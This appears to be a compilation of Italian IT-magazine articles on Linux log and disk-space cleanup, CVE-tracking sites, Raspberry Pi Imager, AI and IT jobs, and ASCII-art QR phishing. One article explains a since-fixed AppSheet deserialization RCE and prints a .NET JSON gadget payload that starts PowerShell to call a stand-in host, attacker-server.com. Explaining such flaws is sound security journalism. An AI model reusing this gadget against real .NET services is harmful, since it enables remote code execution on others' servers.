Per mantenere un sistema pulito è importante controllare regolarmente i log. Nelle distribuzioni moderne i messaggi possono trovarsi sia nei file testuali sotto /var/log sia nel systemd journal gestito da journald, quindi lo spazio occupato non è concentrato in un solo punto. La directory /var/log resta comunque il primo luogo da ispezionare. Qui vengono salvati, a seconda della distribuzione e dei servizi installati, i log del kernel, dell’autenticazione, del gestore di pacchetti, del server grafico o dei demoni di rete. Alcuni file sono attivi, altri sono archivi già ruotati e compressi. Per individuare rapidamente dove si concentra l’occupazione, conviene misurare la dimensione delle sottodirectory e dei file più pesanti, per esempio con:

sudo du -sh /var/log/*

Se emerge una crescita anomala, è bene verificare se dipende da un servizio che sta producendo errori in modo  continuo, da un debug rimasto attivo o da una configurazione troppo permissiva. La logica corretta non è cancellare alla cieca, ma capire quali componenti stanno generando dati e se quei dati hanno ancora utilità operativa. Un file enorme in /var/log non è solo un problema di spazio: spesso indica un malfunzionamento o una configurazione da correggere.

Journald: capire quanto occupa e come ridurlo

Nei sistemi che usano il sistema di init systemd, journald raccoglie eventi del kernel, dei servizi e di molte componenti dell’avvio e della gestione ordinaria. A differenza dei log testuali classici, usa un formato binario interrogabile con journalctl. Prima di intervenire conviene usare:

journalctl –disk-usage

che restituisce la dimensione complessiva dei file del journal e permette di capire effettivamente se l’archivio è diventato un candidato reale per la pulizia. Per ridurne l’ingombro senza azzerarlo esistono due approcci molto utili. Il primo è basato sull’età dei messaggi:

sudo journalctl –vacuum-time=7d

In questo modo vengono mantenuti solo gli eventi degli ultimi sette giorni. Il secondo è basato sulla dimensione totale del journal:

sudo journalctl –vacuum-size=500M

Qui il journal viene ridotto fino a occupare al massimo 500 MB. Sono due strategie diverse e vanno scelte in base all’uso del sistema. Su una workstation personale può essere sensato conservare soltanto pochi giorni di cronologia; su una macchina usata per test, sviluppo o amministrazione di servizi conviene spesso ragionare in termini di spazio massimo, così da preservare una quantità sufficiente di storico senza lasciare che la crescita diventi incontrollata.
C’è poi da fare una distinzione importante tra log persistenti e log volatili. Se il sistema salva il journal in /var/log/journal, i dati restano disponibili anche dopo il riavvio. Se invece questa directory non viene usata, il journal può essere mantenuto solo in memoria o in aree temporanee e quindi andare perduto alla successiva accensione. La modalità persistente è preziosa per la diagnosi, ma proprio per questo richiede più attenzione nella
gestione dello spazio.

Evitare che i file crescano senza limite

Logrotate gestisce la rotazione dei log testuali tradizionali. Quando un file raggiunge determinate dimensioni o età, viene archiviato, rinominato, spesso compresso e sostituito da un nuovo file attivo, evitando che i log crescano indefinitamente. La configurazione globale si trova normalmente in /etc/logrotate.conf, mentre le regole specifiche per i singoli servizi sono raccolte in /etc/logrotate.d/. È utile verificare queste impostazioni soprattutto quando un servizio genera grandi quantità di log o quando delle applicazioni aggiungono nuovi file senza una politica di  rotazione adeguata. Delle configurazioni troppo conservative possono accumulare molti archivi compressi, mentre delle impostazioni troppo aggressive rischiano di eliminare informazioni utili per il troubleshooting. Ricordatevi che logrotate e journald svolgono funzioni diverse e complementari: il primo gestisce i file testuali in /var/log, il secondo l’archivio binario del journal. Per mantenere sotto controllo l’uso dello spazio vanno quindi considerati entrambi.

Da sapere

Se il journal tende a crescere troppo, conviene intervenire anche in modo permanente modificando /etc/systemd/ journald.conf. Le direttive più utili sono quelle che impongono un tetto allo spazio usato, come per esempio SystemMaxUse, oppure limiti dedicati ai soli dati persistenti e volatili. Dopo la modifica è necessario riavviare il
servizio con: sudo systemctl restart systemdjournald.

Evitate così di dover ricorrere periodicamente a pulizie manuali e rendete prevedibile la crescita del journal, specie sui sistemi con partizioni piccole o con SSD da preservare.

*Illustrazione progettata da Magnific

Se lo spazio disponibile inizia a diminuire, prima di tutto bisogna verificare quale filesystem sta effettivamente raggiungendo la saturazione. Nei sistemi Linux moderni il disco è spesso suddiviso in più filesystem montati in punti diversi dell’albero delle directory: /home può trovarsi su una partizione separata, alcune directory possono essere montate su volumi dedicati e gli ambienti di sviluppo o i container possono utilizzare mount point aggiuntivi. Prima di analizzare le singole directory è quindi necessario ottenere una panoramica della situazione. Il comando più semplice per questa verifica è df, che mostra lo spazio totale e quello utilizzato nei filesystem montati. Utilizzato con l’opzione -h restituisce dimensioni espresse in unità leggibili come megabyte o gigabyte.

La distribuzione dello spazio nelle directory

Il passo successivo consiste nel capire come lo spazio è distribuito tra le directory. Per questa operazione lo strumento principale è du (disk usage), che calcola la dimensione dei file e delle directory presenti in un determinato percorso. Usare:
du -sh *

produce un riepilogo delle dimensioni dei file e delle directory di primo livello e permette di individuare immediatamente quelle più grandi. Quando si analizza un filesystem molto grande può essere utile limitare la profondità della scansione con:
du -h –max-depth=1 /

In questo modo du calcola la dimensione delle directory immediatamente contenute in /, senza analizzare in dettaglio tutti i sottolivelli. Il comando fornisce quindi una panoramica rapida delle aree del filesystem che occupano più spazio, permettendo di ripetere l’analisi solo nelle directory più rilevanti. Spesso si usa anche:
du -h –max-depth=1 / | sort -h

per ordinare immediatamente le directory per dimensione.

Strumenti più evoluti

Quando la struttura delle directory diventa ampia o molto ramificata, l’analisi dello spazio con du richiede di ripetere il comando più volte scendendo progressivamente nell’albero delle directory, impiegando molto tempo. In questi casi è più efficace utilizzare strumenti progettati specificamente per l’analisi dello spazio disco, come ncdu, che esegue una scansione ricorsiva del filesystem e presenta i risultati in un’interfaccia testuale navigabile ordinata per dimensione.

Se preferite iniziare con una GUI, Disk Usage Analyzer (Baobab) esegue una scansione del filesystem e rappresenta l’utilizzo dello spazio con grafici circolari navigabili. Svolge in forma grafica un lavoro simile a quello ottenuto con strumenti come du o ncdu.

Scegliere tra NCDU, GDU E DUST

GDU (Go Disk Usage) è un analizzatore dello spazio disco scritto in Go e progettato per essere veloce anche nella scansione di directory molto estese, sfruttando tecniche di elaborazione parallela. Come NCDU, offre un’interfaccia interattiva nel terminale che consente di esplorare le directory ordinate per dimensione e di spostarsi rapidamente nei livelli più profondi dell’albero. La creazione più recente e l’uso di thread multipli rendono spesso la scansione più
rapida su dischi di grandi dimensioni o su sistemi con molti file. Un approccio diverso è quello adottato da DUST, uno strumento scritto in Rust che privilegia la visualizzazione sintetica e immediata dell’uso del disco. Invece di proporre una navigazione interattiva completa, crea una rappresentazione grafica direttamente nel terminale sotto forma di grafico a barre, che mostra le directory più pesanti della posizione analizzata. La scelta dello strumento dipende dal tipo di analisi che volete effettuare. NCDU rimane una soluzione molto diffusa quando si desidera un’interfaccia semplice e stabile per esplorare il filesystem direttamente dal terminale. GDU è spesso preferibile quando la velocità di scansione diventa critica, mentre DUST è particolarmente utile per ottenere rapidamente una panoramica visiva delle directory più grandi prima di procedere con un’analisi più dettagliata. A voi usarli al meglio.

Nel vasto e variegato panorama della sicurezza informatica, sono numerose oggi le piattaforme che supportano i professionisti IT, gli analisti e gli appassionati nel monitoraggio costante delle vulnerabilità più recenti.

PIATTAFORME ONLINE

Tra queste possiamo citare senza dubbio CVE Detail, disponibile su https://www.cvedetails.com/, un portale che offre un database completo basato sulle informazioni CVE (Common Vulnerabilities and Exposures). Il servizio raccoglie e organizza in modo dettagliato dati sulle vulnerabilità, corredandoli con avvisi, exploit, strumenti correlati e perfino modifiche al codice sorgente. Una risorsa preziosa per chi si occupa di analisi o di gestione del rischio informatico. Altro strumento utile, da citare è CVE Notifier (https://github.com/0xd3vil/CVE-Notifier), un nuovo progetto open source che fornisce un sistema di monitoraggio e allerta automatica delle nuove vulnerabilità. Gli utenti possono configurarlo per ricevere notifiche mirate relative a specifici vendor o prodotti, con avvisi tempestivi inviati su canali come Slack.

La banca dati ufficiale del governo USA, raggiungibile all’indirizzo https://nvd.nist.gov/vuln/search, mostra le ultime CVE individuate e consente di inserire il numero specifico delle vulnerabilità.

La possibilità di integrare facilmente il sistema nei propri progetti, grazie al codice sorgente e alle guide disponibili, lo rende una soluzione flessibile e adatta a contesti professionali diversificati. A livello istituzionale, un punto di riferimento per il contesto nazionale è il servizio Alert e Bollettini di CSIRT Italia (https://www.acn.gov.it/portale/csirt-italia/alert-e-bollettini). Questa piattaforma ufficiale, gestita dall’Agenzia per la Cybersicurezza Nazionale, pubblica con regolarità aggiornamenti, analisi tecniche e raccomandazioni pratiche per mitigare le vulnerabilità più gravi che interessano infrastrutture critiche e pubbliche amministrazioni. Tra le iniziative più recenti e orientate alla comunità, c’è da citare poi CVE Enrichment di Red Hot Cyber (https://www.redhotcyber.com), un servizio gratuito che consente di visualizzare in tempo reale le vulnerabilità pubblicate sul National Vulnerability Database (NVD). Offre filtri per gravità e vendor, permettendo agli  amministratori di individuare i problemi.

Alert pubblicati dal CSIRT Italia tra l’11 e il 12 novembre 2025: aggiornamenti di sicurezza per Ivanti e Microsoft, una patch per Zimbra e un PoC per la CVE-2025-64495 su Open WebUI.

Un servizio di rilievo internazionale è il sito VulDB (https://vuldb.com), una piattaforma statunitense che raccoglie, arricchisce e correla dati sulle vulnerabilità note, fornendo dettagli tecnici, exploit associati e indicatori di compromissione (IoC). Grazie alla collaborazione con ricercatori di tutto il mondo, aggiorna costantemente il proprio archivio e consente di tracciare l’intero ciclo di vita delle vulnerabilità. Concludiamo questa carrellata di servizi per il monitoraggio CVE con https://www.exploit-db.com/. Si tratta di un archivio pubblico di exploit, proof-of-concept e risorse per penetration tester e ricercatori, mantenuto da Offensive Security. Permette ricerche per CVE, exploit remoti e locali, shellcode e include la Google Hacking Database. Con lo
strumento SearchSploit è possibile consultare il DB offline. Fornisce statistiche, paper e feed utili per integrare intelligence e test di sicurezza nelle operazioni aziendali.

Ormai da anni, esistono strumenti che permettono di sviluppare applicazioni senza scrivere del codice, ma semplicemente collegando tra loro fonti di dati con una sorta di “programmazione visuale”. In pratica, si usa un editor grafico per costruire un diagramma di flusso delle operazioni previste, al fine di automatizzare alcune specifiche operazioni. Per esempio, una scuola potrebbe preparare un form per permettere ai genitori di specificare delle preferenze per la mensa e poi inviare le statistiche calcolate sui risultati del “sondaggio” alla società che si  occupa di fornire il cibo agli studenti. Questo permetterebbe di evitare la distribuzione di centinaia di moduli cartacei
che dovrebbero poi essere ricopiati a mano, per aggregare e inviare manualmente i risultati al destinatario. Naturalmente, il fatto che questi strumenti possano essere usati da persone che non hanno competenze di programmazione è di per sé un problema: è meno probabile infatti che possano comprendere le implicazioni di alcune condizioni o i rischi derivanti dal concedere più autorizzazioni del dovuto… Ma, al di là di tutto ciò, esistono oggi numerosi strumenti che offrono questo servizio a tutti. Uno dei più noti è senza ombra di dubbio: AppSheet.

IL PUNTO SBAGLIATO

Prima di andare avanti, è necessario chiarire un punto. Ovvero, che questa programmazione “senza codice” non è davvero “senza codice”. Il codice c’è, almeno sotto la scocca! Già, perché i vari task vengono eseguiti sui server di Google sulla base delle informazioni inserite dall’utente, grazie a degli algoritmi predefiniti, scritti in vari linguaggi. Non è dato sapere i dettagli, ma sicuramente per alcune cose viene utilizzato del codice .NET. Ed è proprio in questo
che è stata scoperta una vulnerabilità del sistema!

IL CASO APPSHEET

Il problema di fondo era nella “serializzazione degli oggetti”. Quando un utente progettava una applicazione su AppSheet, sostanzialmente aggiungeva componenti e li configurava tramite dei wizard. Questi memorizzavano le varie configurazioni, che erano solitamente dei dizionari o comunque degli oggetti più o meno complessi, in forma serializzata, cioè li traducevano in testo. Un dizionario, infatti, può facilmente essere serializzato sotto forma di JSON. Il problema di questa cosa è che, se il tipo di dato non viene esplicitato, il sistema può incappare in  un’ambiguità nel momento in cui il dato viene deserializzato, per andare a costituire l’oggetto originale. In certi casi il sistema può utilizzare dei meccanismi automatici: può cercare di capire se un elemento è un numero oppure un testo. Il problema si pone nelle varie tipologie di testo, che in alcuni casi possono andare a creare oggetti più complessi, come componenti .NET. Se l’algoritmo suppone che un certo testo sia la forma serializzata di un oggetto di tipo URL, cercherà di utilizzarlo per fare una chiamata HTTP. Se invece pensa che debba essere un oggetto di tipo “shell di sistema”, cercherà di eseguire il comando. Se il sistema non controlla il tipo di dato che dovrebbe aspettarsi, è possibile per l’utente inserire come testo un oggetto serializzato, e a quel punto il sistema cercherebbe di deserializzarlo.

L’interfaccia di AppSheet offre un editor grafico per comporre la vista di una applicazione. FONTE: https://www.appsheet.com/

AUTOMATICO

Nel caso di AppSheet, si è scoperto che era possibile creare un’applicazione con un Bot da eseguire automaticamente.
Questo Bot poteva avere uno Step, cioè un passaggio del cronjob, di tipo webhook. Dopo, AppSheet permetteva di definire il necessario per fare una chiamata HTTP verso un webhook. Ciò significa che si poteva definire il metodo della chiamata, l’URL da contattare e il payload completo della chiamata. In teoria, il payload poteva contenere i parametri che erano passati al webhook, ma bisognava tenere a mente che in alcuni di questi potevano esserci anche oggetti dell’applicazione. E quindi il payload veniva serializzato. Il problema è che un malintenzionato poteva scrivere un payload che, una volta deserializzato, andava a produrre un oggetto pericoloso! Un esempio di codice?
Eccolo…

{
“$type”: “System.Windows.Data.
ObjectDataProvider, Presenta
tionFramework, Version=4.0.0.0,
Culture=neutral, Publi
cKeyToken=31bf3856ad364e35”,
“MethodName”: “Start”,
“MethodParameters”: {
“$type”: “System.Col
lections.ArrayList, mscorlib,
Version=4.0.0.0, Culture=-
neu tral, PublicKeyToken=b77a
5c561934e089”,
“$values”: [
“Cmd”,
“/c powershell -com
mand \”Invoke-WebRequest -URI
http://attacker-server.com\””
]
},
“ObjectInstance”: {
“$type”: “System.Diagno
stics.Process, System, Ver
sion=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089”
}
}

Il risultato è che il deserializzatore generico interpretava questo testo come un oggetto .NET che conteneva un oggetto System.Diagnostic.Process. Cioè, un processo, che viene lanciato con la riga di comando specificata tra i MethodParameters:

powershell -command \
”In voke-WebRequest -URI
http://attacker-server.com\”

Appena il deserializzatore creava l’oggetto, cercava il suo metodo Start e lo chiamava: siccome questa è la funzione che lancia il comando, esso viene eseguito immediatamente sul server di Google. In tal caso il comando era solo un test, che fa una semplice chiamata HTTP a un server Web scelto dal malintenzionato. Ma è ovvio che poteva essere utilizzato un qualunque comando PowerShell. Sarebbe stato persino possibile scaricare ed eseguire un intero script PowerShell. Il risultato è una Remote Code Execution da manuale!

Il report che ha segnalato la vulnerabilità per la prima volta. FONTE: https://bughunters.google.com/.

L’ENTITÀ

Di fatto, questa vulnerabilità permetteva di creare una sorta di botnet sulla rete di Google. Se infatti avesse voluto attaccare un sito Web, per esempio, avrebbe dovuto semplicemente creare un buon numero di applicazioni di questo tipo, che eseguivano una serie di cicli di richieste HTTP verso il sito vittima, bombardandolo di richieste mandandolo offline. Non solo: siccome eventuali attività eseguite da questi bot sarebbero risultate provenire da una rete di proprietà di Google, e quindi generalmente considerata sicura, sarebbe stato facile attaccare altri servizi senza farsi identificare facilmente! È chiaro che per creare queste applicazioni serviva un account Google e un pagamento con carta di credito, quindi almeno una qualche forma di identificazione c’era e sarebbe stata teoricamente possibile risalire al malintenzionato…
Inoltre, questo tipo di “innesco” della vulnerabilità non era ideale per generare delle reverse shell, perché sfruttava operazioni pianificate che giravano in ambienti con una durata ridotta, quindi almeno l’utilizzo era leggermente più limitato. Il bug, scoperto qualche anno fa, è stato reso pubblico solo di recente e metteva a rischio i server di un big come Google ma, teoricamente, non i dati degli utenti. Appena ricevuta la segnalazione, BigG ha ricompensato chi ha scoperto tutto con diecimila dollari e ha modificato AppSheet forzando la dichiarazione del tipo di dato per gli oggetti serializzati, così da risolvere alla radice il problema. Nessuna delle applicazioni esistenti ha avuto bisogno di  modifiche, visto che il bugfix non ha avuto alcun impatto sul frontend di AppSheet. Speriamo non si ripeta…

Imager è lo strumento ufficiale di scrittura delle immagini sviluppato dalla Raspberry Pi Foundation, pensato per semplificare la preparazione dei supporti di memorizzazione per i dispositivi Raspberry Pi. La versione 2.0 rappresenta una riprogettazione completa dell’interfaccia piuttosto che un aggiornamento incrementale.

La versione 2.0 rappresenta una riprogettazione completa dell’interfaccia piuttosto che un aggiornamento incrementale e introduce una pratica visualizzazione guidata

Le novità in pillole

Introduce un’interfaccia guidata passo per passo che accompagna l’utente attraverso una sequenza di fasi ben distinte, che includono la selezione del modello di Raspberry Pi, la scelta del sistema operativo, l’individuazione del dispositivo di destinazione, la configurazione del sistema, la scrittura dell’immagine e il completamento del processo. Ogni fase occupa l’intera finestra dell’applicazione, offrendo spazio per spiegazioni, messaggi di validazione e informazioni contestuali, riducendo l’affollamento visivo e rendendo più accessibili anche le configurazioni avanzate. Integra inoltre la possibilità di preconfigurare Raspberry Pi Connect durante il processo di scrittura dell’immagine: autenticandosi in questa fase, il dispositivo risulta già collegato al proprio account al primo avvio, consentendo subito l’accesso remoto tramite condivisione dello schermo o shell. L’accessibilità è un elemento centrale della
riprogettazione, con controlli etichettati per i lettori di schermo, navigazione completa da tastiera e più attenzione al contrasto dei colori e alla disposizione degli elementi. La nuova combinazione cromatica e l’uso generoso dello spazio bianco contribuiscono a migliorare la leggibilità e la chiarezza dell’interfaccia, rendendo Imager più fruibile per un pubblico ampio, compresi i novizi.

Leggi anche: “Media Center sulla Raspberry“

La sensazione che l’IA stia “portando via il lavoro” a chi opera nell’IT è comprensibile. Negli ultimi anni avete visto strumenti capaci di scrivere codice plausibile, suggerire configurazioni di sistema, spiegare log complessi, generare playbook o script di automazione in pochi secondi. Attività che fino a poco tempo fa richiedevano tempo, esperienza e spesso una buona memoria tecnica oggi sembrano improvvisamente a portata di prompt. Ma fermiamoci un attimo su un punto chiave: l’IA non sta sostituendo i ruoli, sta comprimendo il valore delle mansioni più ripetitive e standardizzabili. Ed è un fenomeno che chi lavora nell’IT ha già visto molte volte, dall’automazione dei data center alla virtualizzazione, dal cloud all’infrastructure as code.

Lo stato reale delle cose, senza allarmismi

Oggi l’IA funziona molto bene quando il problema è ben delimitato, descritto in modo chiaro e privo di ambiguità. Se le date una funzione da scrivere, una configurazione da tradurre, un errore da interpretare o una procedura da spiegare, produce risultati utili e spesso sorprendenti. Questo perché lavora in un dominio che le è congeniale: testo, pattern, esempi già visti. Dove invece fatica (e continuerà a farlo a lungo) è nel mondo reale dell’IT operativo. Qui le decisioni non sono mai solo tecniche. Entrano in gioco vincoli organizzativi, storici, politici, economici. Sistemi che “non si possono toccare” per ragioni non documentate. Scelte fatte anni prima da persone che non ci sono più. Priorità che cambiano in base al contesto aziendale più che alla qualità tecnica di una soluzione. L’IA può suggerire come fare qualcosa, ma non sa quando è il momento giusto per farlo, perché una soluzione è preferibile a un’altra in quell’organizzazione specifica, o quali conseguenze sistemiche avrà una modifica apparentemente innocua.

Preoccupati che l’IA vi rubi il lavoro? Non siete i soli: https://willrobotstakemyjob.com è un sito Internet che valuta il rischio che il vostro tipo di lavoro sia presto automatizzato

Se siete sysadmin

Il vostro valore non sta più nel saper configurare un servizio, ma nel sapere cosa succede quando qualcosa va storto. L’IA può suggerire una configurazione di Nginx o un playbook Ansible, ma non conosce la storia della vostra infrastruttura, le sue cicatrici, i suoi compromessi. Diventate indispensabili quando siete quelli che conoscono davvero il comportamento reale dei sistemi: quali
servizi reggono i picchi e quali no, dove sono i veri single point of failure, quali automazioni sono sicure e quali possono causare disastri silenziosi. Questo significa investire tempo nell’osservabilità, nei log, nei post-mortem, nella documentazione viva di ciò che è successo davvero, non di ciò che “dovrebbe succedere”. Un altro punto cruciale è la responsabilità. L’IA non firma un change, non decide se è il momento giusto per aggiornare un cluster critico, non valuta l’impatto organizzativo di un downtime. Se diventate la persona che sa dire “questa cosa tecnicamente si può fare, ma operativamente è rischiosa”, state già giocando su un piano che l’automazione non copre.

Se siete programmatori

La minaccia non è che l’IA scriva codice al posto vostro, ma che scriva lo stesso codice che scrivereste voi se vi limitate a risolvere task isolati. Il codice in sé sta diventando una commodity; il contesto in cui quel codice vive no. Diventate indispensabili quando sapete progettare sistemi, non solo funzioni. Quando capite il debito tecnico, lo riconoscete prima che esploda e sapete spiegare perché “questa scorciatoia oggi ci costerà mesi domani”. L’IA può generare soluzioni eleganti, ma non sente il peso della manutenzione a lungo termine, né lavora nello stesso codebase da cinque anni. C’è poi un aspetto spesso sottovalutato: la capacità di revisione critica. Saper leggere codice generato, individuare problemi di sicurezza, edge case mancanti, assunzioni sbagliate. In molte organizzazioni, il valore si sposterà sempre di più da “scrivere codice” a validare, integrare e rendere sicuro codice scritto anche da altri (umani o IA).

Uno dei termini più menzionati in tema di sviluppo e IA è il debito tecnico. Lasciare che un LLM scriva buona parte del codice va bene ma va supervisionato con cura!

Se lavorate in DevOps/Platform/SRE

Se operate in ruoli DevOps o Platform, siete in una posizione strategica. Il vostro lavoro vive esattamente al confine tra sviluppo, operazioni e organizzazione, ed è un confine che l’IA fatica ad attraversare. Diventate indispensabili quando progettate piattaforme che tengono conto non solo della tecnologia, ma delle persone che le useranno. Pipeline comprensibili, sistemi di deploy che
riducono l’errore umano, ambienti che rendono difficile fare danni quando qualcosa va storto. L’IA può suggerire una pipeline CI/CD, ma non sa se il vostro team la userà davvero o la aggirerà. Inoltre, siete quelli che vedono l’intero flusso: dal commit in repository fino al servizio in  produzione. Questa visione sistemica è rarissima e preziosa. Coltivatela, documentatela, rendetela esplicita: è ciò che vi rende difficili da sostituire.

Se siete figure junior o in crescita

Se siete all’inizio, l’IA può sembrare schiacciante: fa in pochi secondi ciò che voi state ancora imparando. Qui il rischio è cercare di competere sul terreno sbagliato. Non cercate di essere più veloci dell’IA. Cercate di capire perché una soluzione funziona, non solo che funziona. Usate l’IA come tutor, non come scorciatoia: chiedetele spiegazioni, alternative, limiti. Ogni risposta che accettate senza comprenderla vi rende più deboli, non più produttivi. Chi cresce davvero è chi sviluppa presto senso critico, capacità di fare domande e di collegare i pezzi. L’IA accelera  l’apprendimento, ma solo se siete voi a guidarlo.

Se avete responsabilità tecniche o di coordinamento

Se avete ruoli di responsabilità, il vostro compito è forse quello che cambia di meno, ma diventa più
evidente. L’Intelligenza Artificiale non gestisce persone, non media conflitti, non decide priorità sotto pressione. Diventate indispensabili quando sapete tradurre obiettivi di business in scelte tecniche sensate e, al contrario, spiegare limiti tecnici a chi prende decisioni strategiche. In un mondo in cui “l’IA può fare tutto” è una narrazione diffusa, chi sa dire cosa non va fatto e perché
diventa una figura chiave.

Gli hacker hanno trovato un nuovo modo per nascondere truffe e tentativi di phishing dentro le e-mail: trasformare i codici QR in semplici simboli di testo. Secondo Kaspersky, questa tecnica permette di aggirare molte difese automatiche che di solito controllano le immagini o i link sospetti presenti nei messaggi di posta. Nella seconda metà del 2025, l’azienda ha registrato un aumento di cinque volte degli attacchi di phishing basati su QR code, e ora questa nuova variante rende il problema ancora più insidioso.

Come funziona l’attacco

A prima vista può sembrare un dettaglio curioso, ma il trucco è ingegnoso. Invece di inserire il classico codice QR come immagine quadrata in bianco e nero, i criminali lo “disegnano” usando lettere, numeri e simboli. È una tecnica che richiama la vecchia grafica ASCII, quella usata decenni fa quando i computer non riuscivano ancora a mostrare vere immagini e le figure venivano costruite con caratteri di testo. In pratica, il QR non è più una foto o un file grafico, ma una specie di mosaico fatto di segni tipografici.

Un codice QR dannoso composto da stringe di caratteri di testo

Perché farlo?

Perché molti sistemi di sicurezza delle e-mail cercano elementi pericolosi analizzando immagini o link. Se invece il codice è composto da testo, alcuni controlli potrebbero non riconoscerlo subito come un QR code dannoso. È un po’ come scrivere un messaggio segreto in un modo che una persona capisce al volo, ma una macchina fa più fatica a interpretare.

Lo schema della truffa resta però molto familiare. La vittima riceve una mail che sembra arrivare da un partner commerciale o da un servizio noto, per esempio una richiesta di firmare un documento tramite DocuSign. Nel messaggio compare il QR “testuale” e l’utente viene invitato a scansionarlo con lo smartphone per aprire il documento. A quel punto, però, non si apre un portale legittimo, ma una pagina falsa che chiede di inserire credenziali aziendali o altri dati sensibili.

Un esempio di grafica ASCII

Ed è proprio qui che il phishing diventa più efficace. Usare il telefono per scansionare un codice crea una sensazione di normalità: molte persone pensano che il QR sia solo un collegamento pratico e abbassano la guardia. Inoltre, sullo schermo di uno smartphone è più facile non notare dettagli sospetti, come un indirizzo web leggermente modificato o una pagina fatta per imitare un servizio autentico.

Un QR code creato con simboli di testo dovrebbe far scattare subito un campanello d’allarme, soprattutto se chiede di inserire credenziali di lavoro. In generale, quando una e-mail invita a usare il telefono per accedere a documenti riservati o per eseguire verifiche urgenti, conviene fermarsi un attimo e controllare bene il mittente, il contesto e l’indirizzo del sito di destinazione.

*Illustrazione progettata da Kaspersky